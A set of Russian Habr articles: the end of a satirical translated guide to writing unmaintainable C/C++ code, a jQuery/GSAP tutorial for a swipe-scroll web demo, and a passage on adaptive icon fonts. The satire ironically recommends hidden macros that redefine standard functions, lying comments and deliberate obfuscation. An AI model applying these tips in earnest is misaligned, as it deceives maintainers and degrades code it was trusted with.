В C struct/union и typedef struct/union принадлежат к разным пространствам имен; следовательно, одно и то же имя можно (и нужно) использовать в обоих. Желательно делать их почти совместимыми.
`typedef struct { char* pTr; int lEn; } snafu;
struct snafu { unsigned cNt; char* pTr; int lEn; } A;`
###### 4. Спрятанные макросы
Прячьте определения макросов в толще бессмысленных комментариев; тогда сопровождающий проскочит все комментарии разом и не обнаружит макрос. Используйте такой макрос для замены какого-нибудь легального выражения языка на что-нибудь очень странное:
`#define a=b a=0-b`
*(Не знаю, что имел в виду автор; этот макрос в коде на C/C++ порождает ошибку, если в коде появляется переменная a, и благополучно игнорируется, если такой переменной нет. C/C++ тоже все-таки не дураки писали :-) — прим.пер.)*
###### 5. Притворитесь занятыми
Используйте макросы для создания вымышленных «функций», которые ровным счетом ничего не делают.
`#define fastcopy(x,y,z) /*xyz*/
:
fastcopy(array1, array2, size);`
###### 6. Переопределяйте функции
Создавайте «функции»-дубли стандартных (макросы с параметрами), которые делают что-то совсем неожиданное. *(Особые маньяки могут таким образом переопределить десяток функций, которые может захотеть использовать человек, вносящий исправления. Так, например, в пару к макросу #define abs(a) (-2\*a) можно написать свою громоздкую функцию вычисления модуля и использовать ее, демонически смеясь над попытками напарника заменить ее на нормальный модуль — прим.пер.)*
###### 7. Переносы в именах переменных
Помните, что препроцессор C расценивает символ \ в конце строки как перенос строки и склеивает ее со следующей? Отлично! Творчески подойдите к разбиению длинных имен переменных на строки, чтобы максимально затруднить нахождение всех обращений к этим переменным простым поиском.
###### 8. Выбирайте зарезервированные слова для произвольных примеров
Если в документации вам нужен произвольный пример для имени файла, используйте «file», а не очевидно-произвольное имя типа «charlie.dat». В целом выбирайте произвольные примеры, которые максимально близки к зарезервированным словам, или сами эти слова (если компилятор откажется это принимать — тем лучше, это всего лишь документация). При правильном использовании читатели безнадежно запутаются в том, какие части примера можно заменять на другие слова, а какие нельзя. Если вас застукают, можно с невинным видом доказывать, что вы всего лишь пытались помочь читателю понять назначение каждой переменной.
###### 9. Имена в коде vs имен в интерфейсе
Проследите, чтобы имена переменных не имели ничего общего с названиями в документации и интерфейсе. Например, поле «Postal Code» можно хранить в переменной zip.
###### 10. Скажите переименованиям «нет»
Для синхронизации двух фрагментов кода не переименовывайте переменные; лучше переопределите их при помощи #define. Создавайте побольше синонимов для одной и той же переменной в разных файлах, чтобы воспрепятствовать текстовому поиску.
###### 11. Обходите запрет на глобальные переменные
Для этого определите статическую глобальную структуру, содержащую все переменные, которые вам понадобятся, и назовите ее EverythingYoullEverNeed. В функции передавайте эту структуру (а лучше указатель на нее под названием handle), для создания иллюзии отсутствия глобальных переменных.
###### 12. Перегружайте операторы
Замечательное свойство перегрузки операторов позволяет создавать свои операторы +, -, /, \*, совершенно не относящиеся к арифметике. В конце концов, если Страуструп использует операторы сдвига (>> и <<) для потокового ввода-вывода, чем вы хуже?
###### 13. #define & #ifdef
Как видно из предыдущих пунктов, директивы препроцессора заслуживает отдельной оды благодарных маскировщиков; едва ли что-то другое позволяет внести столько беспорядка в код. Выражения #define замечательно маскируются под функции и переменные. Творческое применение #ifdef позволяет использовать разные версии функции в зависимости от того, в каком порядке и в каких количествах включены заголовочные файлы. Попробуйте разобраться, что делает следующий код:
`#ifndef DONE
#ifdef TWICE
// put stuff here to declare 3rd time around
void g(char* str);
#define DONE
#else // TWICE
#ifdef ONCE
// put stuff here to declare 2nd time around
void g(void* str);
#define TWICE
#else // ONCE
// put stuff here to declare 1st time around
void g(std::string str);
#define ONCE
#endif // ONCE
#endif // TWICE
#endif // DONE`
###### 14. Директивы компилятора
Еще одна вещь, удобная для изменения поведения кода — ведь это то, зачем они создавались.
###### 15. Отвлекающие маневры
Приправьте ваш код неиспользуемыми переменными и невызываемыми методами — просто не удаляйте код, ставший ненужным. Оправданием для этого может быть то, что этот код может еще пригодиться. Бонус за имена, похожие на используемый код — сопровождающий обязательно их перепутает.
#### Документация
*Любой дурак может сказать правду, но только умный человек может хорошо солгать*
Компиляторы игнорируют комментарии и не видят документации, поэтому в них можно делать что угодно, чтобы сбить с толку беднягу сопровождающего.
###### 1. Лгите
Ну ладно, можете не лгать прямо, просто забывайте обновить комментарии, когда обновляете код.
###### 2. Документируйте очевидное
Приправьте код комментариями типа /\* increment i \*/, в то же время избегайте комментирования сомнительных мест — назначения метода или смысла выполняемых действий.
###### 3. «Что», а не «зачем»
Комментируйте только действия вашей программы, но не ее цель и назначение.
###### 4. Избегайте документирования «очевидного»
Если вы предполагаете, что ваш код будет меняться определенным образом, ни в коем случае не упоминайте, что нужно для этого сделать. Людям, пришедшим после вас, нечего лезть править ваш код, не понимая его во всех деталях.
###### 5. К вопросу о шаблонах документации
Задумайтесь о правильном использовании прототипов документирования функций: тщательно копируйте шаблоны из функции в функцию, но никогда не заполняйте поля шаблона. Если вас вынуждают их заполнять, убедитесь, что параметры всех функций называются одинаково, а их расшифровки не имеют ни малейшего отношения к собственно функции.
###### 6. К вопросу о проектной документации
Допустим, вам нужно реализовать некий сложный алгоритм. Используйте классический принцип разработки ПО: первым делом создайте проект этого алгоритма. Напишите очень детальный (чем детальнее, тем лучше) документ, который бы описывал его пошагово, в виде многоуровневой (минимум 5 уровней) иерархии вложенных пунктов с автоматической нумерацией. Убедитесь, что в итоге получилось не менее 500 пунктов. Так, примером одного пункта может быть
`1.2.4.6.3.13 - Display all impacts for activity where selected mitigations can apply (short pseudocode omitted).`
После этого (да, фокус именно здесь) пишите код, и для каждого такого пункта создайте отдельный метод Act1\_2\_4\_6\_3\_13(). Нет, не пишите комментарии в коде методов — ведь для этого существует проектная документация! Поскольку нумерация в исходном документе изменяется автоматически при редактировании документа, то было бы сложно поддерживать статичное наименование методов в актуальном состоянии. Впрочем, для вас это не составит ровным счетом никакого труда — ведь вы и не стремитесь поддерживать документ в актуальном состоянии. Фактически, вам следует приложить все усилия для уничтожения не только самого документа, но и всяческих следов его существования. Впрочем, можете оставить один-два черновика тщательно спрятанными в кладовке под старыми компьютерами.
###### 7. Единицы измерения
Никогда не документируйте единицы измерения переменных и параметров — это не так важно при подсчетах, но крайне важно в инженерной работе. Аналогично, никогда не комментируйте константы, использующиеся при преобразованиях, или способ получения величин. Примитивный, но действенный способ — украсить код комментариями, в которых указаны неправильные единицы измерения. Если у вас особенно мрачное настроение, изобретите свою собственную единицу: назовите ее в честь себя или кого-то особенного и никогда не определяйте ее в явном виде. Если к этому придерутся, объясните, что используете ее, чтобы ограничиться целочисленной арифметикой и не возиться с дробными числами.
###### 8. Баги
Никогда не документируйте баги в чужом коде. Если вы подозреваете, что где-то там скрылся баг, оставьте это при себе. Если у вас есть идеи по реорганизации кода, бога ради, не записывайте их. Подумайте, что случится, если ваш комментарий увидит автор кода, руководство, клиент? Да вас ведь могут уволить! Впрочем, анонимный комментарий «Это нужно исправить» творит чудеса, особенно если неясно, к чему он относится.
###### 9. Описание переменных
Никогда — слышите, никогда! — не документируйте переменные при их объявлении. Факты об использовании переменной, ее границах и допустимых значениях, точности, единицах измерения, формате вывода, правилах ввода и т.д. должны быть очевидны из кода. Если вас обязали писать комментарии, наводните ими тело процедур, но ни в коем случае не объявления переменных.
###### 10. Унизительные комментарии
Зарубите на корню любые попытки привлечь сотрудников других фирм, щедро украшая ваш код комментариями, оскорбляющими их честь и достоинство:
`* Этот прием слишком сложен для олухов из Software Services Inc.; они, пожалуй,
* потратили бы в 50 раз больше памяти и времени с использованием тупых методов из`
По возможности размещайте такие комментарии в важных кусках кода, перемешивая их со смысловыми комментариями, чтобы попытки обезвредить их были максимально усложнены.
###### 11. Комментируйте так, будто это COBOL на перфокартах
Отказывайтесь от возможностей сред разработки, не верьте слухам о том, что определения функций и переменных всегда в одном клике от от их использования и рассчитывайте на то, что код, написанный в Visual Studio 6.0, будет сопровождаться средствами edlin или vi. Драконовские требования к комментариям — отличный способ похоронить код.
###### 12. Комментарии в стиле Monty Python
Комментарий к методу makeSnafucated должен состоять из ровно одной строки: /\* make snafucated \*/. Никогда и нигде не определяйте, что такое snafucated — это же любой дурак знает.
###### 13. Устаревший код
Никогда не полагайтесь на системы контроля версий для восстановления устаревшего кода — просто не удаляйте его. Никогда не комментируйте, должен ли новый код заменить старый или дополнить его, почему старый код кого-то не устроил, работал ли он вообще и т.д. Комментируйте старый код как /\* \*/ вместо // на каждой строке — так его легче принять за действующий и тратить силы на его поддержку. | https://habr.com/ru/post/99146/ | null | ru | null |
# Пилим веб-демку — Wavescroll
В этой статье я постараюсь доходчиво рассказать о процессе создания [демки Wavescroll](http://codepen.io/suez/full/wMOVXz).
#### О коде в статье
Цель этой статьи, попытаться научить людей реализовывать различные нетривиальные эффекты, не полагаясь всю жизнь на готовые плагины и подобные решения для каждого чиха. Код в демо (как и сама статья) написаны прямолинейно и весьма доходчиво (надеюсь), без использования множества лишних вещей, которыми нынче переполнены все возможные обучалки. Здесь нету ES6, вебпака, реакта, модульных систем и прочих вещей. Вам не потребуется сидеть 5-15 минут в командной строке, устанавливая различные зависимости для окружения, дабы потом наконец-то вывести заветный Hello World на экран. Мы будем писать «топорный» код, использовать jQuery потому-что он понятен почти любому человеку, кто хоть раз работал с javascript, и в конце получим нечто, что можно пощупать.
Все демки я создаю на codepen'е, где различные библиотеки и препроцессоры подключаются парой кликов и вам необходимо только лишь писать код.
#### Предыстория
Началось все с того, что на просторах интернета я наткнулся на прекрасный сайт jetlag.photos, который поразил меня своим эффектом свайпа бэкграунда (зажмите лефтклик мыши где угодно и тяните). Сразу же появилось желание реализовать клон без подглядываний «под капот». Как уже потом выяснилось, даже при желании я бы не смог извлечь никакой полезной информации из devTools, ибо все было реализовано на canvas'е. А копаться в сжатом&аглифицированном коде канваса это то еще извращение. Так что демку я начал пилить, руководствуясь лишь тем, что вижу на экране, используя стандартную связку html+css+js (с канвасом я все равно не особо дружу).
#### Стартуем
Для начала нам необходимо создать фуллскрин-контейнер, который будет содержать внутри блоки с бэкграундами.
```
```
Все бэкграунды вложены в дополнительный блок, так как потом у нас еще появится блок для текстов. Теперь стилизуем их:
```
.ws {
&-pages {
overflow: hidden;
position: relative;
height: 100vh; // основной контейнер будет занимать 100% высоты экрана
}
&-bgs {
position: relative;
height: 100%;
}
&-bg {
height: 100%;
background-size: cover;
background-position: center center;
// очищаем поток, для частей, которые будут вставлены позже
&:after {
content: "";
display: table;
clear: both;
}
}
```
**О CSS**Как вы уже заметили, я использую препроцессор. В данном случае это SASS с синтаксисом SCSS.
Теперь нам необходимо создать части бэкграундов, добавить их в соответствующие блоки и стилизовать. Наша задача сделать так, чтобы все кусочки в итоге смотрелись как единый блок, бэкграунд которого растянут с помощью background-size: cover и отцентрован. Для этого внутрь каждой части будет добавлен дополнительный блок, которому и будет выставляться фоновая картинка. Каждый внутренний блок будет занимать 100% ширины экрана и смещаться влево с каждым шагом, чтобы в итоге получилась цельная картинка.
```
.ws-bg {
&__part {
overflow: hidden; // каждая часть должна показывать только контент в рамках своих размеров
position: relative;
float: left; // располагаем части с помощью обычных флоатов
height: 100%;
cursor: grab;
user-select: none; // существенно улучшает качество свайпа мышкой
&-inner {
position: absolute;
top: 0;
// left будем указывать уже с помощью js
width: 100vw; // каждый внутренний блок занимает 100% ширины экрана
height: 100%;
background-size: cover;
background-position: center center;
}
}
}
```
```
var $wsPages = $(".ws-pages");
var bgParts = 24; // пусть у нас будет 24 части.
var $parts;
function initBgs() {
var arr = [];
var partW = 100 / bgParts; // длина одной части, в %
for (var i = 1; i <= bgParts; i++) {
var $part = $(''); // создаем часть бэкграунда
var $inner = $(''); // а так же внутренний её блок
var innerLeft = 100 / bgParts \* (1 - i); // расчитываем позицию внутреннго блока
$inner.css("left", innerLeft + "vw");
$part.append($inner);
$part.addClass("ws-bg\_\_part-" + i).width(partW + "%"); // добавляем класс с индексом для каждой части и назначаем ширину
arr.push($part);
}
$(".ws-bg").append(arr); // в каждый блок вставляем массив с частями
$wsPages.addClass("s--ready"); // об этом будет написано ниже
$parts = $(".ws-bg\_\_part");
};
initBgs();
```
**Как это было реализовано изначально**Изначально я использовал :after для .ws-bg\_\_part и циклом в sass выставлял left для псевдоэлементов. Но потом решил что необходимость синхронизации переменных количества частей в js и sass это плохая практика и сделал все полностью на js.
Итак, под конец функции мы добавляем к контейнеру класс s--ready. Нам это необходимо для того, чтобы убрать фон с блоков .ws-bg, которые изначально будут отображаться с фоном, чтобы юзер видел контент, до того как javascript добавит части. После того как части добавлены, фон у основных блоков не нужен, ибо они двигаться не будут. Так что добавляем следующее для .ws-bg.
```
.ws-bg {
.ws-pages.s--ready & { // компилируется в .ws-pages.s--ready .ws-bg
background: none;
}
}
// ну и не забываем добавить сами фоновые картинки для .ws-bg и вложенных в него .ws-bg__part-inner c помощью css
// над вариантом, где картинки нельзя вставить с помощью css я не думал, но мне кажется решение можно легко найти
```
#### Move your mouse
Пришло время навесить обработчики для свайпа мышкой и реализовать переключение страниц.
```
var curPage = 1; // переменная для текущей страницы
var numOfPages = $(".ws-bg").length; // количество страниц
// в целях простейшей оптимизации сохраняем размеры окна в переменные
var winW = $(window).width();
var winH = $(window).height();
// вешаем обработчик на ресайз окна, дабы обновлять переменные его размеров
$(window).on("resize", function() {
winW = $(window).width();
winH = $(window).height();
});
var startY = 0;
var deltaY = 0;
$(document).on("mousedown", ".ws-bg__part", function(e) { // вешаем обработчик с помощью делегирования событий
startY = e.pageY; // стартовая Y позиция мыши в начале свайпа
deltaY = 0; // обнуляем переменную при каждом новом свайпе
$(document).on("mousemove", mousemoveHandler); // вешаем обработчик для движения мышью
$(document).on("mouseup", swipeEndHandler); // и для окончания свайпа
});
var mousemoveHandler = function(e) {
var y = e.pageY;
// с помощью X координаты получаем индекс той части, на которой в данный момент находится указатель мыши
var x = e.pageX;
index = Math.ceil(x / winW * bgParts);
deltaY = y - startY; // вычисляем разницу между текущей и стартовой позициями
moveParts(deltaY, index); // двигать части будем в отдельной функции
};
var swipeEndHandler = function() {
// снимаем обработчики движения/окончания свайпа
$(document).off("mousemove", mousemoveHandler);
$(document).off("mouseup", swipeEndHandler);
if (!deltaY) return; // если движения по оси Y не было, то здесь и заканчиваем
// если "расстояние свайпа" больше половины экрана в определенном направлении, вызываем функцию для смены страницы
if (deltaY / winH >= 0.5) navigateUp();
if (deltaY / winH <= -0.5) navigateDown();
// двигаем все части
// даже если страница осталась той же, нам необходимо вернуть все части на исходную позицию для текущей страницы
changePages();
};
// крайне простые функции для изменения переменной текущей страницы
function navigateUp() {
if (curPage > 1) curPage--;
};
function navigateDown() {
if (curPage < numOfPages) curPage++;
};
```
Добавляем функционал движения частей, на основе переменных deltaY и index (вызов функции moveParts внутри mousemoveHandler). Нам необходимо сделать эффект двусторонней лесенки, когда каждая часть, находящаяся с любой из сторон от активной части (той, на которой находится указатель) начинает двигаться по оси Y с определенной задержкой по расстоянию свайпа (описать на словах это намного сложнее чем понять визуально). При этом чем дальше часть находится от активной, тем меньше должна быть её «высота ступеньки».
**Только не бейте**Функционал движения частей я писал поздней ночью, когда уже должен был сладко спать. А потом мне было лень все это дело рефакторить по уму, так что вам остается лишь лицезреть этот ужас. Если кто-то в состоянии это красиво зарефакторить, буду рад помощи в комментах.
Так же я испытал существенные проблемы с адекватным описанием происходящего, на самом деле там все проще и понятнее чем кажется, просто я сейчас по ходу не в состоянии нормально выражать свои мысли =/
```
var staggerVal = 65; // стартовое значение отклонения соседних частей
var staggerStep = 4; // значение, которое с каждым последующим шагом будет понижать высоту ступеньки
var changeAT = 0.5; // время анимации в секундах
function moveParts(y, index) { // y = deltaY; index - индекс активного элемента
var leftMax = index - 1; // максимальный индекс части слева от активной
var rightMin = index + 1; // и минимальный индекс части справа
// переменные для аккумулированных значений отступа частей от активной
var stagLeft = 0;
var stagRight = 0;
// переменные для суммарного значения шагов уменьшения отклонения
var stagStepL = 0;
var stagStepR = 0;
var sign = (y > 0) ? -1 : 1; // определяем направление движения
movePart(".ws-bg__part-" + index, y); // двигаем активную часть
for (var i = leftMax; i > 0; i--) { // стартуем цикл "справа налево" по частям слева от активной
var step = index - i; // то, насколько часть далека от активной
// вычитаем из стартового значения отклонения переменную суммарного значения шагов уменьшения отклонения
var sVal = staggerVal - stagStepL;
// для первых 15 ступенек работает обычный шаг, затем он понижается до 1
// магические цифры это плохо. Не делайте так.
stagStepL += (step <= 15) ? staggerStep : 1;
// в том месте где заканчивается лесенка пусть лучше будет ровный пол, а не начало другой лестницы в обратном направлении
if (sVal < 0) sVal = 0;
stagLeft += sVal; // шаг текущей ступеньки прибавляем ко всей суммарной высоте предыдущих ступенек
var nextY = y + stagLeft * sign; // Y значение для ступеньки
// если отклонение текущей части от активной больше deltaY активной, то текущую часть фиксируем на обычном месте
if (Math.abs(y) < Math.abs(stagLeft)) nextY = 0;
movePart(".ws-bg__part-" + i, nextY); // двигаем часть
}
// тут происходит все тоже самое что и в прошлом цикле, но только слева направо для частей справа от активной
for (var j = rightMin; j <= bgParts; j++) {
var step = j - index;
var sVal = staggerVal - stagStepR;
stagStepR += (step <= 15) ? staggerStep : 1;
if (sVal < 0) sVal = 0;
stagRight += sVal;
var nextY = y + stagRight * sign;
if (Math.abs(y) < Math.abs(stagRight)) nextY = 0;
movePart(".ws-bg__part-" + j, nextY);
}
};
function movePart($part, y) {
var y = y - (curPage - 1) * winH; // корректируем Y значение относительно текущей страницы
// используем гсап для анимации (о нем чуть ниже)
// использование простое:
// TweenMax.to(%селектор%, %время анимации в секундах%, {%свойства для анимации и дополнительные настройки%}
// используем Back easing для подобия эффекта bounce. Сам bounce при быстром движении смотрится жутко
TweenLite.to($part, changeAT, {y: y, ease: Back.easeOut.config(4)});
};
```
Как вы уже заметили, использую я GSAP (greensock) для анимации. Я привык делать большинство демок без специальных библиотек для анимации, потому-что это весьма весело и отлично прокачивает, но в этот раз я решил пожалеть себя, когда понял что реализация велосипеда на requestAnimationFrame займет немало времени, ибо на использовании css transition's тут никуда не уедешь. Связано это с тем, что нам необходима реалтайм анимация, которая будет автоматом паузить прошлую анимацию и запускать следующую при движении, сохраняя при этом плавность.
Теперь необходимо написать функцию смены страниц. Тут все просто, мы по сути дела используем сильно облегченный вариант функции moveParts:
```
var waveStagger = 0.013; // мы не хотим чтобы все части двигались одновременно при смене страниц и добавляем шаг задержки в 13 мс
// но при этом мы будем вычитать накопленный шаг из времени анимации, дабы юзер не ждал времени сверх стандартного из-за того, что он потянул бэкграунд на одном из краев
function changePages() {
var y = (curPage - 1) * winH * -1; // положение с учетом текущей страницы
var leftMax = index - 1;
var rightMin = index + 1;
TweenLite.to(".ws-bg__part-" + index, changeAT, {y: y});
for (var i = leftMax; i > 0; i--) {
var d = (index - i) * waveStagger; // чем дальше от активной части, тем больше задержка и меньше время анимации
TweenLite.to(".ws-bg__part-" + i, changeAT - d, {y: y, delay: d});
}
for (var j = rightMin; j <= bgParts; j++) {
var d = (j - index) * waveStagger;
TweenLite.to(".ws-bg__part-" + j, changeAT - d, {y: y, delay: d});
}
};
// и заодно добавляем вызов этой функции в обработчик ресайза. Ведь значения у нас выставляются в пикселях
// при увеличении количества действий внутри обработчика ресайза его безусловно надо будет обернуть в debounce.
$(window).on("resize", function() {
winW = $(window).width();
winH = $(window).height();
changePages();
});
```
**Альтернатива**Если вам не нужна анимация с шагом задержки, то функцию можно сократить до 2х строчек кода. Но вариант с задержкой мне понравился больше в плане эстетики.
Теперь мы умеем двигать бэкграунд свайпом мышкой. С промежуточным вариантом демки можно ознакомиться [вот тут](http://codepen.io/suez/pen/b7ccd9206454ccf62d17eef7a94db020).
#### WaveSCROLL
Далее, навешиваем обработчики на колесо мыши и стрелки, дабы превратить демку в полноценную реализацию one page scroll. Ну и заодно станет понятно, почему выбрано именно такое название (хотя придумал его не я, мне помогли).
```
// создаем переменную, ибо мы не хотим чтобы юзер за долю секунды мог проскроллить все страницы одним быстрым прокручиванием колеса
var waveBlocked = false;
var waveStartDelay = 0.2; // стартовая задержка анимации
// вешаем обработчик на колесо. DOMMouseScroll необходим для FireFox
$(document).on("mousewheel DOMMouseScroll", function(e) {
if (waveBlocked) return;
if (e.originalEvent.wheelDelta > 0 || e.originalEvent.detail < 0) {
navigateWaveUp();
} else {
navigateWaveDown();
}
});
$(document).on("keydown", function(e) {
if (waveBlocked) return;
if (e.which === 38) {
navigateWaveUp();
} else if (e.which === 40) {
navigateWaveDown();
}
});
function navigateWaveUp() {
// в отличии от обычных navigate функций, при попытке скролла за пределы наших страниц мы не делаем ничего
// иначе у нас будет стартовать блокировка скролла и затем убираться с задержкой, а юзер все это время будет смотреть на статичную страницу, без возможности скроллить куда-либо
if (curPage === 1) return;
curPage--;
waveChange();
};
function navigateWaveDown() {
if (curPage === numOfPages) return;
curPage++;
waveChange();
};
function waveChange() {
waveBlocked = true; // блокируем возможность скролла
var y = (curPage - 1) * winH * -1;
for (var i = 1; i <= bgParts; i++) {
// стартуем анимацию для каждой группы частей с увеличенной задержкой, помимо статичной
var d = (i - 1) * waveStagger + waveStartDelay;
TweenLite.to(".ws-bg__part-" + i, changeAT, {y: y, delay: d});
}
var delay = (changeAT + waveStagger * (bgParts - 1)) * 1000; // считаем общее время анимации в милисекундах
setTimeout(function() {
waveBlocked = false; // убираем блокировку скролла по окончании анимации
// прошу заметить что мы не можем использовать onComplete в gsap'e, ибо он сработает на каждом шаге цикла
}, delay);
};
```
Весь основной функционал реализован.
#### Небольшая оптимизация
После того как я полез смотреть это демо на телефоне, я столкнулся с существенными проблемами по части производительности во время свайпа. Тогда я сразу вспомнил о том, что обработчик движения (будь то mousemove или touchmove) надо слегка оптимизировать. Для этого я буду использовать requestAnimationFrame, он же rAF.
**rAF? WTF?**requestAnimationFrame это специальное браузерное API созданное для анимации и подобных вещей. Подробнее [тут](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame).
```
// скажу честно, я не помню как много существует браузеров, которые дружат с трансформами и не умеют при этом в rAF без префиксов, так что перестраховываемся
window.requestAnimFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function(callback){
window.setTimeout(callback, 1000 / 60);
};
})();
// пишем простенький throttle велосипед, который будет ограничивать количество вызовов функции
function rafThrottle(fn) { // принимаем функцию в качестве параметра
var busy = false; // создаем переменную для определения того, можно ли выполнять функцию или еще нет
return function() { // возвращаем функцию, образуя при этом замыкание
if (busy) return; // если занято, то разворачиваемся и уходим
busy = true; // вешаем табличку что занято
fn.apply(this, arguments); // вызываем функцию
// используем rAF, для того чтобы снять табличку, когда браузеру полегчает
requestAnimFrame(function() {
busy = false;
});
};
};
//оборачиваем наш обработчик mousemove в rafThrottle
var mousemoveHandler = rafThrottle(function(e) {
// тот же код функции
});
```
Эта оптимизация дала заметный прирост производительности на моем Nexus 5, так как она снизила количество вычислений и перезапусков анимации при постоянном движении мыши/пальца. Да и на десктопе тоже по виду все стало получше работать (хотя и до этого не было проблем, при учете что браузер работает со встроенной видеокарты).
Как реализованы текстовые заголовки я расписывать не буду, там все довольно-таки просто, чтение кода вам в помощь.
Вот в общем то и все! Ссылки на демо:
Версия [с редактором](http://codepen.io/suez/pen/wMOVXz).
[Фуллскрин версия без айфрейма и кусков кодпена](http://s.codepen.io/suez/debug/wMOVXz) — если хотите проверять на телефоне, то открывайте эту версию, другие багают на тач-устройствах.
**Так, стоп, а код для тач-устройств?**В оригинальном демо реализована поддержка тач устройств. Там по сути дела добавляется лишь дополнительный обработчик на touchmove, который делает те же вещи и еще несколько строчек кода, которые легко найти. Но я решил не описывать эту часть в статье, потому-что даже после оптимизации мое демо существенно проигрывает по производительности на телефонах (как минимум на моем Nexus 5) оригинальному сайту, который работает на канвасе. Хотя это все равно неплохой результат для такого эффекта.
И к тому же на мобильных устройствах имеются проблемы с черными полосами по краям частей фона во время движения. Связано это с шириной в % и сочетанием 3д трансформаций во время движения, из-за чего слегка изменяются размеры частей и просвечивают куски черного фона body.
**Напоследок**Это моя первая статья, так что качество сильно хромает. Да и демо явно не одно из лучших. Но писать решил об этой демке, ибо сделал я её всего 10 дней назад и неплохо помню ход своих мыслей. | https://habr.com/ru/post/278181/ | null | ru | null |
# Responsive design + Icon fonts = Adaptive icons
Привет, Хабр!
Сегодня поговорим об отзывчивых значках и парочке лайфхаков со шрифтовыми иконками.
##### **Предыстория. О трендах**
В последнее время все сильнее набирает обороты тренд «отзывчивого дизайна». Идея, заложенная в эту методологию, в режиме реального времени модифицируется, дополняется и обрастает новыми функциями. Я — не фанат трендов и моды как таковой, не сложилась у меня с ними взаимная любовь. Но в профессиональной сфере все иначе: здесь тренды правят бал, и выбросить их просто так не получается.
###### **Тренд первый. Продолжение экспансии Responsive design.**
Адаптивный и отзывчивый дизайн продолжают захватывать виртуальное пространство и наши экраны. Наличие отдельной мобильной версии сайта, вероятнее всего, отомрет даже у таких приверженцев, как Фейсбук и Твиттер — всё больше появляется паттернов и решений для актуализации различного функционала и отображения посредством media queries и скриптов.
###### **Тренд второй. Плоский дизайн.**
Зародившись в начале 2013 года, к концу его тренд захватил умы веб-разработчиков. Чем же обусловлена популярность флэт-дизайна?
* **Простота восприятия**. Минимализм (правильный, конечно же) всегда отличался легкостью фактур и свободой, которой дышит дизайн, контент и структура.
* **Простор и простота разработки**. Флэт-дизайн прост, как квадрат и, в большинстве случаев, вам не понадобится иметь трехгигабайтное хранилище с графическими референсами.
* **Легковесность**. Особенно ценное свойство в эпоху мобильного интернета. Флэт-дизайн может оперировать изображениями с минимум цветов, либо вообще обходиться без них. А с появившейся в браузерах поддержкой и популяризацией SVG, есть возможность использования векторной графики.
Это основные положительные свойства флэт-дизайна, обуславливающие его нарастающую популярность.
###### **Тренд третий. Icon Fonts.**
Совсем свежее течение в мире веб-дизайна. Смысл идеи прост: создаете набор SVG-изображений, а после этого собираете их специальным сервисом, который на выходе выдает набор из нескольких CSS-файлов для разных целей, собственно шрифта в форматах EOT, SVG, WOFF и даже TTF, который можно установить в систему и использовать, например, в графическом редакторе. К сожалению, шрифтовые иконки лишены некоторых прелестей SVG, например, раскрашивания отдельных элементов одной иконки, но на эти жертвы в большинстве случаев можно пойти или обойти их некоторыми ухищрениями.
##### **Adaptive icons**
Перехожу к главной теме статьи — о паттерне, который вбирает все вышеперечисленные тренды и идею [Джо Харрисона](http://www.joeharrison.co.uk/) [Responsive Icons](http://www.responsiveicons.co.uk/), суть которой очень проста. При изменении размера окна изменяется и детализация иконки, чтобы всегда соответствовать возможностями экрана и не создавать пикселизированный шум на низком разрешении.
Приступим. Допустим, мы имеем вот такой дизайн в трех размерах:
Как видим, в каждом варианте все иконки отличаются. Попробуем решить эту задачу без спрайтов.
###### **Первый подход к созданию адаптивных иконок**
Следуя методологии Progressive enhancement, для начала создадим простую разметку для нашего файла (оставим логотип на потом, займемся сначала нижними иконками):
```
Logo
[Announces](#)
[Partners](#)
[News](#)
```
Далее займемся стилями. Следуя практике Mobile first, сначала создадим стиль для минимального размера:
```
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
margin-bottom: 20px;
width: 100%;
}
```
Иконок мы пока не имеем, поэтому делаем SVG из значков дизайна для мобильных, называем их в соответствии с нашими классами: announces, partners и news. Обратите внимание, что вся иконка в SVG должна быть одной фигурой (single compound path). Идем на сервис (я пользуюсь [fontello.com](http://fontello.com/)), создаем там шрифт и называем его, допустим, ittalk-font-small:
На второй вкладке (Customize Names) можно изменить названия по умолчанию, которые будут использованы в сгенерированных css. Т. к. как мы именовали файлы по классам, нам там делать нечего. На третьей вкладке можно изменить Unicode каждого символа в шрифте, таким образом, привязав его, например, к определенным буквам. Но мы не планируем использовать шрифт в операционной системе, т. ч. эту страницу мы тоже пропускаем. Щелкаем на кнопку “Download webfont (3)” и сохраняем на компьютер готовый архив. В архиве нас интересует папка “font” и файл “ittalk-font-small.css” из папки “css”. Копируем их в подпапку “fonts” нашего проекта и добавляем в “style-320.css” строчку в самом начале файла:
```
@import "fonts/ittalk-font-small.css";
body {
...
```
В самом файле “ittalk-font-small.css” меняем все пути в @font-face с '../font/...' на 'small/'.
Итак, у наших ссылок появились значки. Неплохо. Добавляем немного кода в CSS:
```
@import "fonts/ittalk-font-small.css";
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
margin-bottom: 20px;
width: 100%;
height: 80px; /* Немного магии, смысл которой в том */
line-height: 80px; /* чтобы убрать текст из ссылки */
overflow: hidden; /* и оставить одну иконку. */
}
.icon:before {
width: 100%;
font-size: 50px;
}
```
Ура! У нас остались одни иконки. Проделываем то же самое со средним и большим размерами:
```
...
```
Style-720.css:
```
@import "fonts/ittalk-font-medium.css";
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
width: 32%;
height: 130px;
line-height: 130px;
overflow: hidden;
}
.icon:before {
width: 100%;
font-size: 72px;
}
```
Style-big.css:
```
@import "fonts/ittalk-font-big.css";
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
width: 30%;
height: 210px;
line-height: 210px;
overflow: hidden;
}
.icon:before {
width: 100%;
font-size: 128px;
}
```
[Демо промежуточной версии](http://blog.dataart.com/demos/responsive-icons/). Смотреть в Chrome или Firefox.
**Плюсы**:
* Векторность.
* Мало кода.
* Легкость в применении и обновлении.
* Гибкость.
* Отсутствие JavaScript.
**Минусы**:
* Максимум один цвет на иконку.
* Дополнительные файлы для загрузки (шрифты).
* Проблемы с поддержкой старых браузеров.
###### **Второй подход к созданию адаптивных иконок**
Теперь разберемся с логотипом, заодно и с проблемы одноцветности иконки. Как видим, он состоит из четырех элементов, которые постепенно исчезают с изменением уровня детализации:
